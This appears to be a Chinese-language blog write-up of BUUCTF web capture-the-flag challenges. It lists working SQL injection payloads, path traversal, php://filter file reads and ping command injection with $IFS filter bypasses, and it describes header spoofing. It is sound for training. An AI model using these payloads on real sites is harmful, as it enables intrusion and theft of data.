buuctf

系列文章目录

提示:这里可以添加系列文章的所有文章的目录,目录需要自己手动添加


提示:写完文章后,目录可以自动生成,如何生成可参考右边的帮助文档

@TOC


前言

提示:这里可以添加本文要记录的大概内容:

菜鸡的笔记


提示:以下是本篇文章正文内容,下面案例可供参考

一、知识点

示例:等俺刷完再写

二、做题解析

[极客大挑战 2019]EasySQL 1

buuctf_第1张图片 点击后是此页面尝试万能密码后 buuctf_第2张图片

flag{d998af85-ff56-4947-ad6b-aab85e8a426e}

[HCTF 2018]WarmUp 1

在这里插入图片描述 查看源码 buuctf_第3张图片 后发现source.php文件访问一下

 "source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
​
            if (in_array($page, $whitelist)) {
                return true;
            }
​
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
​
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "
";   }   ?>

发现 在这里插入图片描述 接着打开此网页查看 在这里插入图片描述 得到提升flag在ffffllllaaaagggg目录中我们需要绕过将其打开 接着开始审计代码 buuctf_第4张图片 $_REQUEST 传参为全局变量 empty 判断传参是否为空 is_string 检查是否为字符串 和上面哪个函数

    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) { 判断是否为空是否是字符串
                echo "you can't see it";
                return false;
            }  这个if语句正常逃逸
​
            if (in_array($page, $whitelist)) {  字符串查找
                return true;
            }   这个返回值为真即在此处结束即可
​
            $_page = mb_substr(   函数返回字符串的一部分
                $page,
                0,
                mb_strpos($page . '?', '?')返回要查找的字符串在别一个字符串中首次出现的位置
            );这一分是返回$page起始到第二个?的内容
            if (in_array($_page, $whitelist)) {接着查找
                return true;
            }  
​
            $_page = urldecode($page);  解码 URL 字符串函数
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) { 同上
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​

在这里插入图片描述buuctf_第5张图片 看关键函数返回ture 后执行 include函数(这个在C中解释是预编译)他会执行$file的传参 然后我们进行查找ffffllllaaaagggg所在函数 命令:/?file=source.php?../../../../ffffllllaaaagggg ①尝试 ../../ (../是返回上一目录) buuctf_第6张图片 进行N次尝试后 在 /?file=source.php?../../../../../ffffllllaaaagggg buuctf_第7张图片 得出flag{42237a1c-465b-4d2d-ba08-4f109a6108ed}

[极客大挑战 2019]Havefun 1

打开靶场 buuctf_第8张图片 一直喵星人???

       

查看源代码后发现一段代码 根据代码提示请求后 /?cat=dog buuctf_第9张图片 得出 flag{68201e55-d596-4925-af0f-fc1dc6bcc748}

[ACTF2020 新生赛]Include 1

在这里插入图片描述 点开环境是一个跳转接着点 在这里插入图片描述 查看源码也是啥都没有抓包后也是没有收获于是想到可能是文件包含的题用filter 协议

点击此处有相关介绍 file=php://filter/read=convert.base64-encode/resource=flag.php 在这里插入图片描述 读取后进行base64解密即可 flag{680b0071-ebfa-4c01-9589-0f443ed47ebe}

[ACTF2020 新生赛]Exec 1

点开环境是一个ping

buuctf_第10张图片 输入127.0.0.1本机ip发现有回响接着输入 & 符进行后续输入 buuctf_第11张图片 发现可以打开接着进行不断查找flag所在位置 cd 打开位置 ls 列出当前目录 ../ 返回上一级 buuctf_第12张图片 打开该文件 cat 打开文件 buuctf_第13张图片 得出flag{c6c89bab-5179-4bca-a09f-9f841d0a7eec}

[强网杯 2019]随便注 1

此题我做了好久这题做法不一姿势很多很骚 打开环境后尝试万能密码有回响 ####### 首先查询基本内容 buuctf_第14张图片 接着注入查看列库表的一些基本内容 1';order by 3;#

buuctf_第15张图片 查列发现有三列 1';show tables;# buuctf_第16张图片 查表发现有两个表

1';show tables;# buuctf_第17张图片

1';select database;# buuctf_第18张图片

大致内容了解在当前 hahahah数据库中有两个表和禁用掉的相关函数 ####### 接着查询两个已知的数据表 1'; show columns from 1919810931114514;# buuctf_第19张图片 发现flag 但由上面可得select函数被禁用无法查看 11'; show columns from words;# buuctf_第20张图片 查询第二个表 ####### 由以上内容进行姿势绕过 ####### 法① 一直当输入万能密码时该数据库的id字段会爆出来 buuctf_第21张图片

       so如果我们将flag的列名换成id这样就可以爆出来
        需要先将words的表名换了再换列名
1';rename table words to B;
rename table `1919810931114514` to words;
alter table `words` change `flag` `id` varchar(100);#
varchar(100);原id是int型而现在的是char进行改变

buuctf_第22张图片 输入后无报错即已成功将SQL语句插入其中

buuctf_第23张图片 万能密码爆出flag{98f25409-1314-4bce-907e-79a464913fec}

####### 法② 通过绕过select 函数检测来读取flag 怎么绕过呢常见的绕过大小写 双写 拼接 而这个题就是可以采用拼接和大小写绕过检测 concat拼接函数然后再来个预编译试试

·1';set @sql=concat('se','lect * from  `1919810931114514`;');prepare qw from @sql;execute qw;#  
先于编译然后再使用

buuctf_第24张图片 发现抱错set 通过判断可以尝试大小写绕过

buuctf_第25张图片

得出flag{8999abac-75f4-4f99-9350-a6d8a01f59b8}

[SUCTF 2019]EasySQL 1

简单注入真滴简单死了反正我是噶了 buuctf_第26张图片 打开输入1然后爆出一些东东接着联合查询啥的发现都不能用但是还能爆出一些基本信息

buuctf_第27张图片 但是也没有多大鸟用最后还是看大佬的WP做的 通过大佬可知 源码可能为:select $_POST[‘query’] || flag from Flag 有源码可得: 当输入的值为 *,1 时语句为 select *,1 || flag from Flag => select *,1 from Flag 此处1是指新增一列而 *是所有 即查出所有 buuctf_第28张图片 还有一种做法是将 || 入手将其从逻辑符变成连接符 即更改其SQL配置将其改为连接符 set sql_mode=PIPES_AS_CONCAT 即姿势诞生 1;set sql_mode=PIPES_AS_CONCAT;select 1 更改配置后重新查询一下即可 在这里插入图片描述 flag{687061d4-d5e0-4bb0-ae5e-4d759fcce69e}

[GXYCTF2019]Ping Ping Ping 1

在这里插入图片描述 打开后正常ping一下测试 然后进行其他尝试由于到打游戏的时间了此题长话短说总之呢你会发现他吧 空格符号禁用了还禁用了flag的每个字符

$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 
%09 

上面可以替代空格的 然后接下来 /?ip=127.0.0.1|l列一下当前目录 在这里插入图片描述 然后尝试打开flag结果打不开所以打开另一个文件/?ip=127.0.0.1;cat$IFS$1index.php buuctf_第29张图片 发现过滤的东西,但是有个 $a变量可以进行参数覆盖

?ip=127.0.0.1;a=f;tac$IFS$1$alag.php    过滤
?ip=127.0.0.1;a=l;tac$IFS$1f$aag.php    没flag
?ip=127.0.0.1;a=a;tac$IFS$1fl$ag.php    过滤
?ip=127.0.0.1;a=g;tac$IFS$1fla$a.php    有flag
?ip=127.0.0.1;a=fl;b=ag;tac$IFS$1$a$b.php 过滤
?ip=127.0.0.1;b=ag;a=fl;tac$IFS$1$a$b.php 有flag
时间紧急这一段是复制别人的(可用)

此题还能进行 buuctf_第30张图片 这一段也是复制别人的没有亲自测试(未知)

这题还可以 buuctf_第31张图片

?ip=127.0.0.1;cat$IFS`ls`    内敛执行
?ip=127.0.0.1;cat$IFS$3`ls`  即将ls以参数的形式在cat中执行
?ip=127.0.0.1;cat$IFS$9`ls`  注意ls是用`` 包裹的即英文的波浪号
?ip=127.0.0.1|cat$IFS$9`ls`  tac 与 cat 显示在前后的差别

[极客大挑战 2019]Secret File 1

在这里插入图片描述buuctf_第32张图片

发现隐藏文件打开后 在这里插入图片描述 点击后发现直接结束了 buuctf_第33张图片 怎么办抓个包试试 buuctf_第34张图片 在抓包回显时发现隐藏文件打开文件

发现一串代码审计进行分析发现最下面表示答案就在 flag.php打开看看 buuctf_第35张图片 发现就在里面可是看不到猜测文件包含用一下data也被了用伪协议base的形式输出 file=php://filter/read=convert.base64-encode/resource=flag.php buuctf_第36张图片 发现隐藏东东 buuctf_第37张图片 解密 在这里插入图片描述 flag{db1b9ae8-1dd8-4880-808c-9d37dc2c98ce}

[极客大挑战 2019]LoveSQL 1

点击打开后尝试万能密码

1' or 1=1#

buuctf_第38张图片 有注入但内容经过一系列百度解密发现没有卵用,回到登陆页面查列表

1' order by 3#  没有报错

buuctf_第39张图片

1' order by 4# 有报错

buuctf_第40张图片 得出此库有三列接着查表查库查字段

1' union select 1,2,3#   已知是三列所以是 1 2 3

buuctf_第41张图片 查当前库版本

1' union select 2,database(),version()# 字段那个1 2 3写那个都行

buuctf_第42张图片 得到库进行爆库表 1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

1' union select 1,database(),group_concat(table_name) from 
#     字段           当前库    结果连接起来一行输出
information_schema.tables where table_schema=database()#
 数据库中的默认 .后 里面是所有 .后 名    在当前库查

buuctf_第43张图片 查询发现两个表名进行爆字段处理 1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#

1' union select 1,database(),group_concat(column_name) from 
		查列			库		 连接一行输出
information_schema.columns where table_name='l0ve1ysq1'#
 获取所有列信息

buuctf_第44张图片 1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='geekuser'# buuctf_第45张图片

1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1 #

1' union select 1,database(),group_concat(id,username,password)
	查列			库			一行输出
from  l0ve1ysq1 
		表名

得出flag{0f7f8f7b-e492-4e26-94e0-7f6f5701e9c1} buuctf_第46张图片 经查询另一个表是没有flag的 buuctf_第47张图片

[极客大挑战 2019]Knife 1

buuctf_第48张图片

这题就比较简单他是暗示 菜刀 ???正经人喜欢用蚁剑的不懂的可以百度一下 直接连接 buuctf_第49张图片 连接成功真是白给 buuctf_第50张图片 在根目录得到flag{87809b1c-7820-4bef-969d-fe879b42b685}

[极客大挑战 2019]Http 1

buuctf_第51张图片 打开后很迷糊看看源代码 buuctf_第52张图片 找到一个隐藏路径 buuctf_第53张图片

给出提示你需要以https://www.Sycsecret.com网址打开我们通过抓包方式进行伪造 Referer 服务器伪造原理

buuctf_第54张图片 回响提示需要浏览器了 buuctf_第55张图片 回响显示需要在本机访问即伪造ip X-Forwarded-For  X-Forwarded-For 概念用法

buuctf_第56张图片 得出flag{aeea856c-ed33-4b4b-8853-a0b5dcf0da21} buuctf_第57张图片buuctf_第58张图片 注意放置位置与格式

[极客大挑战 2019]Upload 1

buuctf_第59张图片 一个比较标准的文件上传

提示:这里对文章进行总结:

TIMI

你可能感兴趣的:(php,服务器,开发语言)